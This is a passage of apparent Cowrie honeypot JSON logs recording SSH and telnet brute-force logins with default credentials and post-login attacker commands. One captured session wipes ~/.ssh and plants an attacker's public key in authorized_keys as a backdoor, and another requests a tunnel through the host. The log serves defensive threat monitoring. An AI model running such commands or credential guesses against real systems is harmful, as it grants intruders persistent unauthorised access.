af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:36.993319Z","src_ip":"186.233.118.22","session":"ca4ffbdc2520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaa","message":"login attempt [root/aaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:37.503064Z","src_ip":"186.233.118.22","session":"ca4ffbdc2520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.2698769569397,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:37.867241Z","src_ip":"142.93.2.99","session":"c2d64ad3692f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50124,"dst_ip":"159.203.135.109","dst_port":23,"session":"72ce1d74a4f8","protocol":"telnet","message":"New connection: 142.93.2.99:50124 (159.203.135.109:23) [session: 72ce1d74a4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:37.914098Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:38.624777Z","src_ip":"186.233.118.22","session":"ca4ffbdc2520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.164548873901367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:40.482892Z","src_ip":"104.245.105.2","session":"24b29f1b6aec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.15504717826843,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:40.782558Z","src_ip":"142.93.2.99","session":"c0ad7f0f9e66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.14844512939453,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:41.723573Z","src_ip":"104.245.105.2","session":"d057761316d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52204,"dst_ip":"159.203.135.109","dst_port":23,"session":"45b6caa36999","protocol":"telnet","message":"New connection: 142.93.2.99:52204 (159.203.135.109:23) [session: 45b6caa36999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:42.953356Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46042,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b84c8fe3e45","protocol":"telnet","message":"New connection: 104.245.105.2:46042 (10.17.0.5:23) [session: 1b84c8fe3e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:44.287313Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59352,"dst_ip":"159.203.135.109","dst_port":23,"session":"01bcc7f329da","protocol":"telnet","message":"New connection: 142.93.2.99:59352 (159.203.135.109:23) [session: 01bcc7f329da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:47.945483Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":33150,"dst_ip":"159.203.135.109","dst_port":23,"session":"2277f8adaeaf","protocol":"telnet","message":"New connection: 142.93.2.99:33150 (159.203.135.109:23) [session: 2277f8adaeaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:48.889268Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":16733,"dst_ip":"159.203.135.109","dst_port":22,"session":"c508154e1099","protocol":"ssh","message":"New connection: 193.24.211.95:16733 (159.203.135.109:22) [session: c508154e1099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:49.504053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:49.508663Z","src_ip":"193.24.211.95","session":"c508154e1099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:49.616623Z","src_ip":"193.24.211.95","session":"c508154e1099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.78805375099182,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:50.013427Z","src_ip":"104.245.105.2","session":"e42c4e49318e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"root","message":"login attempt [ubnt/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:50.100441Z","src_ip":"193.24.211.95","session":"c508154e1099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.65043234825134,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:50.965163Z","src_ip":"142.93.2.99","session":"44b48f8a9a69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:51.210662Z","src_ip":"193.24.211.95","session":"c508154e1099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34964,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed1cbbeb4454","protocol":"telnet","message":"New connection: 142.93.2.99:34964 (159.203.135.109:23) [session: ed1cbbeb4454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:51.621463Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35220,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cf6e4cd12b4","protocol":"telnet","message":"New connection: 142.93.2.99:35220 (159.203.135.109:23) [session: 5cf6e4cd12b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:51.901303Z"}
{"eventid":"cowrie.session.closed","duration":31.4950008392334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:55.162002Z","src_ip":"142.93.2.99","session":"c63b6c9a8696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03305983543396,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:55.314749Z","src_ip":"142.93.2.99","session":"49a28f33ea93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39864,"dst_ip":"159.203.135.109","dst_port":23,"session":"19ae238c0ba1","protocol":"telnet","message":"New connection: 142.93.2.99:39864 (159.203.135.109:23) [session: 19ae238c0ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:55.716114Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":40914,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ca384e3fb00","protocol":"ssh","message":"New connection: 2.57.122.238:40914 (159.203.135.109:22) [session: 4ca384e3fb00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:57.471917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:57.481261Z","src_ip":"2.57.122.238","session":"4ca384e3fb00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:57.586569Z","src_ip":"2.57.122.238","session":"4ca384e3fb00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:57.897930Z","src_ip":"2.57.122.238","session":"4ca384e3fb00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:59.003940Z","src_ip":"2.57.122.238","session":"4ca384e3fb00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45026,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e2afab35ee2","protocol":"telnet","message":"New connection: 142.93.2.99:45026 (159.203.135.109:23) [session: 0e2afab35ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:01.954046Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":48042,"dst_ip":"159.203.135.109","dst_port":22,"session":"103428845a4d","protocol":"ssh","message":"New connection: 189.194.140.170:48042 (159.203.135.109:22) [session: 103428845a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:02.889842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:02.897280Z","src_ip":"189.194.140.170","session":"103428845a4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:02.995327Z","src_ip":"189.194.140.170","session":"103428845a4d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oinstall","message":"login attempt [oracle/oinstall] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:03.412518Z","src_ip":"189.194.140.170","session":"103428845a4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:03.687104Z","src_ip":"189.194.140.170","session":"103428845a4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:03.691932Z","src_ip":"189.194.140.170","session":"103428845a4d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:03.697235Z","src_ip":"189.194.140.170","session":"103428845a4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45258,"dst_ip":"10.17.0.5","dst_port":22,"session":"97e67e7e8474","protocol":"ssh","message":"New connection: 87.251.64.176:45258 (10.17.0.5:22) [session: 97e67e7e8474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:03.704365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:03.710388Z","src_ip":"87.251.64.176","session":"97e67e7e8474","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:03.806827Z","src_ip":"189.194.140.170","session":"103428845a4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:03.817946Z","src_ip":"87.251.64.176","session":"97e67e7e8474","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:04.064492Z","src_ip":"189.194.140.170","session":"103428845a4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:04.072254Z","src_ip":"189.194.140.170","session":"103428845a4d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:04.180132Z","src_ip":"189.194.140.170","session":"103428845a4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:04.184644Z","src_ip":"189.194.140.170","session":"103428845a4d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:04.192938Z","src_ip":"87.251.64.176","session":"97e67e7e8474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":48534,"dst_ip":"159.203.135.109","dst_port":22,"session":"b448ee2e8177","protocol":"ssh","message":"New connection: 189.194.140.170:48534 (159.203.135.109:22) [session: b448ee2e8177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:04.270593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:04.286890Z","src_ip":"189.194.140.170","session":"b448ee2e8177","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:04.297074Z","session":"97e67e7e8474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.c